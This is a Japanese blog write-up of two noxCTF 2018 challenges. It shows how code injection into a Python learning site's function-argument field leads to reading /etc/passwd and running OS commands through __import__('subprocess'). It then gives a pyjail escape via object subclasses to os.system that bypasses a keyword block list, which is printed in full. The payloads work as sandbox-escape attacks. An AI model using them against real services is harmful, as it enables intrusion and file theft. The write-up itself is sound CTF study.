こんとろーるしーこんとろーるぶい

週末にカチャカチャッターン!したことを貼り付けていくブログ

noxCTF 2018 - Python for fun, Python for fun 2

Python for fun

問題文

Welcome to noxale's online python class!!! You can try it for free for a limited time and learn basic programming in python 3. http://chal.noxale.com:8000

f:id:graneed:20180908154944p:plain

writeup

pythonのオンラインプログラミング教室のページ。 全3問ある。

1問目 f:id:graneed:20180908155414p:plain

2問目 f:id:graneed:20180908155418p:plain

3問目 f:id:graneed:20180908155422p:plain

正解してもフラグには結び付かない。

1問目と3問目は4択だが、2問目のmatch signature to bodyの問題はコードの穴埋め。 関数の引数部分にa,bを埋めれば正解だが、ここでコードインジェクションができそう。 引数の初期値の設定時に、任意の関数を呼ぶことができる。

a=print(open("/etc/passwd").read()), b=1を入力して実行。

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/bin/false

flagファイルはどこにあるのだろうか?

osモジュールやsubprocessモジュールを使用してOSコマンドを実行したいが、セミコロンはフィルタされているため、セミコロンで区切ってimportすることができない。

import文を使用せずにモジュールを使う方法がないか調べると、__import__("module name")のコードでできるようだ。

a=print(__import__("subprocess").check_output(["ls","-la"])), b=1を入力して実行。

b'total 144\ndrwxr-xr-x 1 root root 68 Sep 6 18:13 .\ndrwxr-xr-x 1 root root 17 Sep 6 11:42 ..\n-rw-rw-r-- 1 root root 189 Sep 5 16:45 Dockerfile\n-rw-rw-r-- 1 root root 26 Sep 6 18:02 FLAG\n-rw-r--r-- 1 root root 131072 Sep 6 18:13 db.sqlite3\ndrwxrwxr-x 1 root root 43 Sep 6 18:13 learn_python\n-rw-rw-r-- 1 root root 563 Sep 5 16:45 manage.py\ndrwxrwxr-x 1 root root 25 Sep 6 18:13 python_ctf_thing\n-rw-rw-r-- 1 root root 186 Sep 5 16:45 requirements.txt\ndrwxrwxr-x 2 root root 136 Sep 5 16:40 templates\n'

BINGO。
OSコマンドが実行できた。またFLAGファイルを発見。

a=print(__import__("subprocess").check_output(["cat","FLAG"])), b=1を入力して実行。

b'noxCTF{py7h0n_15_4w350m3}\n'

フラグゲット

Python for fun 2

問題文

A hacker found a sec hole in our online python class :( He read our secret file which contains the secret way of milking a snake! After hunting him down, we fixed the hole so no one will ever milk a snake again http://chal.noxale.com:8001

writeup

いくつかのキーワードがフィルターされている。

例えば、a=print(__import__("subprocess").check_output(["ls","-la"])), b=1を入力して実行すると、 Illegal use! (__import__)と表示された。

確認した限り、少なくとも以下は使用不可であった。

__import__
__name__
object
open
'

pyjailの要領で、フィルターされているワードを使用せずにosコマンドを実行可能な方法を探った。結果、以下のコードで実行できた。

a=print(().__class__.__bases__[0].__subclasses__()[93].__init__.__globals__["sys"].modules["os"].system("ls")), b=1`

lsの実行結果

Dockerfile
FLAG
db.sqlite3
learn_python
manage.py
python_ctf_thing
requirements.txt
templates

FLAGファイルを表示する。

a=print(().__class__.__bases__[0].__subclasses__()[93].__init__.__globals__["sys"].modules["os"].system("cat FLAG")), b=1

cat FLAGの実行結果

noxCTF{py7h0n_15_6r347}

補足1

備忘録として、pyjailのコードの軌跡を記載。
なお、StreamReaderWriterが使用できることは以下サイトを参照した。フィルターの関係で、そのままは使用できなかった。

GitHub - kimtruth/GoN-Write-up: GoN에서 진행되었던 신입생 모집 당시 워게임 Write up

>>> ()
()

>>> ().__class__
<class 'tuple'>

>>> ().__class__.__bases__[0]
<class 'object'>

>>> ().__class__.__bases__[0].__subclasses__()
[<class 'type'>, (snip), <class 'codecs.StreamReaderWriter'>, (snip), <class 'rlcompleter.Completer'>]

>>> ().__class__.__bases__[0].__subclasses__()[93]
<class 'codecs.StreamReaderWriter'>

>>> ().__class__.__bases__[0].__subclasses__()[93].__init__
<function StreamReaderWriter.__init__ at 0x7f147d9779d8>

>>> ().__class__.__bases__[0].__subclasses__()[93].__init__.__globals__['sys']
<module 'sys' (built-in)>

>>> ().__class__.__bases__[0].__subclasses__()[93].__init__.__globals__['sys'].modules['os']
<module 'os' from '/usr/lib/python3.6/os.py'>

>>> ().__class__.__bases__[0].__subclasses__()[93].__init__.__globals__['sys'].modules['os'].system("pwd")
/root/Contest/noxCTF2018

補足2

コードを確認したところ、フィルターされていたワードは以下の通り。
想像よりたくさんあった。

NOT_ALLOWED = ['SystemExit', '__build_class__', '__import__', '__loader__', '__spec__', 'abs', 'ascii', 'bin',
               'bytearray', 'bytes', 'chr', 'compile', 'eval', 'exec', 'exit', 'format', 'frozenset', 'hex', 'input',
               'isinstance', 'issubclass', 'locals', 'map', 'memoryview', 'next', 'object', 'oct', 'ord', 'quit',
               'range', 'reversed', 'set', 'str', 'type', 'vars', '\\', '\'', ';', '[', ']', 'if', 'else', 'import',
               'const', 'join', 'replace', 'translate', 'try', 'except', 'with', 'content', 'frame', 'back', 'open',
               'os', 'sys', 'lower', 'subclass', 'globals', '__name__', '__doc__', '__package__', '__loader__',
               '__spec__', '__build_class__', '__import__', 'abs', 'all', 'any', 'ascii', 'bin', 'breakpoint',
               'callable', 'chr', 'compile', 'delattr', 'dir', 'divmod', 'eval', 'exec', 'format', 'getattr', 'globals',
               'hasattr', 'hash', 'hex', 'id', 'input', 'isinstance', 'issubclass', 'iter', 'len', 'locals', 'max',
               'min', 'next', 'oct', 'ord', 'pow', 'print', 'repr', 'round', 'setattr', 'sorted', 'sum', 'vars', 'None',
               'Ellipsis', 'NotImplemented', 'False', 'True', 'bool', 'memoryview', 'bytearray', 'bytes', 'classmethod',
               'complex', 'dict', 'enumerate', 'filter', 'float', 'frozenset', 'property', 'int', 'list', 'map',
               'object', 'range', 'reversed', 'set', 'slice', 'staticmethod', 'str', 'super', 'tuple', 'type', 'zip',
               '__debug__', 'BaseException', 'Exception', 'TypeError', 'StopAsyncIteration', 'StopIteration',
               'GeneratorExit', 'SystemExit', 'KeyboardInterrupt', 'ImportError', 'ModuleNotFoundError', 'OSError',
               'EnvironmentError', 'IOError', 'EOFError', 'RuntimeError', 'RecursionError', 'NotImplementedError',
               'NameError', 'UnboundLocalError', 'AttributeError', 'SyntaxError', 'IndentationError', 'TabError',
               'LookupError', 'IndexError', 'KeyError', 'ValueError', 'UnicodeError', 'UnicodeEncodeError',
               'UnicodeDecodeError', 'UnicodeTranslateError', 'AssertionError', 'ArithmeticError', 'FloatingPointError',
               'OverflowError', 'ZeroDivisionError', 'SystemError', 'ReferenceError', 'MemoryError', 'BufferError',
               'Warning', 'UserWarning', 'DeprecationWarning', 'PendingDeprecationWarning', 'SyntaxWarning',
               'RuntimeWarning', 'FutureWarning', 'ImportWarning', 'UnicodeWarning', 'BytesWarning', 'ResourceWarning',
               'ConnectionError', 'BlockingIOError', 'BrokenPipeError', 'ChildProcessError', 'ConnectionAbortedError',
               'ConnectionRefusedError', 'ConnectionResetError', 'FileExistsError', 'FileNotFoundError',
               'IsADirectoryError', 'NotADirectoryError', 'InterruptedError', 'PermissionError', 'ProcessLookupError',
               'TimeoutError', 'open', 'quit', 'exit', 'copyright', 'credits', 'license', 'help']
````